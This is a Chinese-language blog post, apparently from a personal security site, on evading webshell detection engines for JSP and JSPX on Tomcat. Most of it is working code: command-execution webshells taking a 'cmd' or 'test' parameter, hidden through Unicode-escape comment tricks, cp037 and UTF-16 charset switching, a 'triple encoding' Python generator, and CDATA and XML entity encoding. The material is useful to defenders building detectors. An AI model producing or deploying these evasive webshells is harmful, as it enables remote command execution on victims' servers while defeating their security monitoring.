登录后台

页面导航

本文编写于 324 天前,最后修改于 74 天前,其中某些信息可能已经过时。

webshell编码绕过(jsp)

unicode编码

Webshell检测引擎没有对其进行正确的解码处理
unicode编码或者\uuuuuuuuuuxxx混淆

能被编译,使用\uuuuuuxx的原因:
Javac/ecj在底层解析字符的时候支持Unicode编码

解析过程中只要‘\’的下一个字符是‘u’ 编译器就会一直继续循环,读取下一个字符
底层代码:

 protected void convertUnicode() {
        if (this.ch == '\\' && this.unicodeConversionBp != this.bp) {
            ++this.bp;
            this.ch = this.buf[this.bp];
            if (this.ch == 'u') {
                do {
                    ++this.bp;
                    this.ch = this.buf[this.bp];
                } while(this.ch == 'u');

                int var1 = this.bp + 3;
                if (var1 < this.buflen) {
                    int var2 = this.digit(this.bp, 16);

                    int var3;
                    for(var3 = var2; this.bp < var1 && var2 >= 0; var3 = (var3 << 4) + var2) {
                        ++this.bp;
                        this.ch = this.buf[this.bp];
                        var2 = this.digit(this.bp, 16);
                    }

                    if (var2 >= 0) {
                        this.ch = (char)var3;
                        this.unicodeConversionBp = this.bp;
                        return;
                    }
                }

                this.log.error(this.bp, "illegal.unicode.esc", new Object[0]);
            } else {
                --this.bp;
                this.ch = '\\';
            }
        }

    }

那如果检测引擎会进行Unicode解码,我们有什么方法可以绕过?
一个jsp被加载的过程是这样:
jsp----->.java------>.class


java编译时会先看是否转义,然后进行unicode解码,最后进一步编译

<%
Runtime.getRuntime().
//\\u000axxxxxx
exec(request.getParameter("test"));
%>

jsp检测引擎自动unicode解码检测
检测引擎解码后会编译失败,非法文件,但实际java编译时会对\转义,导致后面都成为注释,成为合法webshell

同理,jspx利用:

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
    <jsp:scriptlet>
        Runtime.getRuntime()
    </jsp:scriptlet>
    <!-- xxxx \u002D\u002D\u003E -->
    <jsp:scriptlet>
        .exec(request.getParameter("cmd"));
    </jsp:scriptlet>

</jsp:root>

\u002D\u002D\u003E对应-->检测引擎中错误非法,但由于jspx被嵌入java模板<!-- ->注释中的内容不会被嵌入到模板中,因而就没有后续解码的过程。

jsp是否可以利用注释绕过
利用<%-- --%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    Runtime
%>
<%
    .getRuntime()
%>
<%-- xxxxx\u002D\u002D\u0025\u003E --%>
<%
    .exec(request.getParameter("test"));
%>

报错,因为jsp加载到模板会加载换行,<%标签之间的

Runtime
out.write('\r');
out.write('\n');
.getRuntime()
out.write('\r');
out.write('\n');
out.write('\r');
out.write('\n');
.exec(request.getParameter("test"));

去掉

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    Runtime
%><%
    .getRuntime()
%><%-- xxxxx\u002D\u002D\u0025\u003E --%><%
    .exec(request.getParameter("cmd"));
%>





或者
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page trimDirectiveWhitespaces='true' %>  //忽略换行和空格
<%
    Runtime
%>
<%
    .getRuntime()
%>
<%-- xxxxx\u002D\u002D\u0025\u003E --%>
<%
    .exec(request.getParameter("cmd"));
%>

其它字符集编码绕过

除了unicode编码,tomcat内部支持多种小众编码,这些编码很可能引擎不支持,如果检测引擎不支持这些字符集,对其而言就是一堆无法识别的乱码

这里要说明一下Tomcat对文件编码的解析过程(底层先不做分析)
1.先看BOM头(前四个字节,标识文件编码),有BOM头按BOM解析


2.查看XML encoding声明的编码属性,若有,则对前面的声明进行覆盖

xml声名格式:
<?xml version="1.0" encoding="utf-8" ?>
encoding声明内容编码

3.当无法根据前四个字节判断文本编码时,根据文本内容中的pageEncoding的值来决定最终编码

<%@ page contentType="charset=cp037" %>

<%@ page pageEncoding="cp037" %>

<jsp:directive.page contentType="charset=cp037"/>

<jsp:directive.page pageEncoding="cp037"/>

有了上面的逻辑,对于jspx,可以采用修改bom头,对内容进行编码,或者使用xml声明,对内容进行编码
修改BOM头:

123

xml声明:

charset="utf-8"
data="""
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:scriptlet>
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    </jsp:scriptlet>
</jsp:root>

""".format(charset=charset)
fcp037 = open('cp037test.jspx','wb')
fcp037.write('<?xml version="1.0" encoding="cp037" ?>')
fcp037.write(data.encode('cp037'))

对于jsp,除上述方法外,在jsp中还可以通过标签来显式声明指定的编码,大大扩展了我们可利用编码的范围

#python2
charset="utf-8"
data="""<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>""".format(charset=charset)
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')

常用的编码:

cp037 cp290 utf-16le utf-16be utf-32le utf-32be

同时java字符集支持别名,ibm290 ibm-290 csIBM290 EBCDIC-JP-kana 290等价cp290

这里注意一个问题,jsp只会在BOM头无法解析,xml声明被默认为utf-8时才会生效,这涉及到isBomPresent的值,只有两者都满足,它的值才会为false,才会进一步判断(底层先不分析)

三重编码

还是先进一步解释Tomcat的解析逻辑:

  • tomcat对于jsp的解析分为编码声明和正文部分,两者在不同不同部分进行
  • 每个部分只提取自己关心的内容
  • xml声明,jsp页面指令,jsp body中的内容三者可以采用不同的编码表示,对上一级分析出来的内容再次获得编码

这里可以想一下,我们利用xml声明的编码方式,对jsp页面指令进行编码,再用jsp页面指令指定的方式对jsp body进行编码,进而实现了三重编码。

a0 = '''<?xml version="1.0" encoding='cp037'?>'''
a1 = '''<%
     Runtime.getRuntime().exec(request.getParameter("cmd"));
     %>'''
a2 = ''' <%@ page pageEncoding="UTF-16BE"%> '''
with open("three.jsp","wb") as f:
    f.write(a0.encode("utf-8"))
    f.write(a1.encode("utf-16be"))
    f.write(a2.encode("cp037"))

xml特性

Tomcat在识别Jspx文件后,会调用XML解析器来解析标签
jspx识别script部分时会调用原生的xml解析库,在进行模板的嵌套,理论上xml特性都可以使用
可以利用XML字符串相关特性来实现绕过:HTML实体编码(hex、dec)、CDATA、...

  • CDATA 是不应该由 XML 解析器解析的文本数据。 "<" 和 "&" 字符非法

    <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
      <jsp:scriptlet>
    <![CDATA[Runti]]>me.getRuntime().exec(request.getParameter("test"));
      </jsp:scriptlet>
    </jsp:root>
  • 实体化编码dec

      <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
      <jsp:scriptlet>          &#82;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#103;&#101;&#116;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#40;&#41;&#46;&#101;&#120;&#101;&#99;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#99;&#109;&#100;&#34;&#41;&#41;&#59;
      </jsp:scriptlet>
    </jsp:root>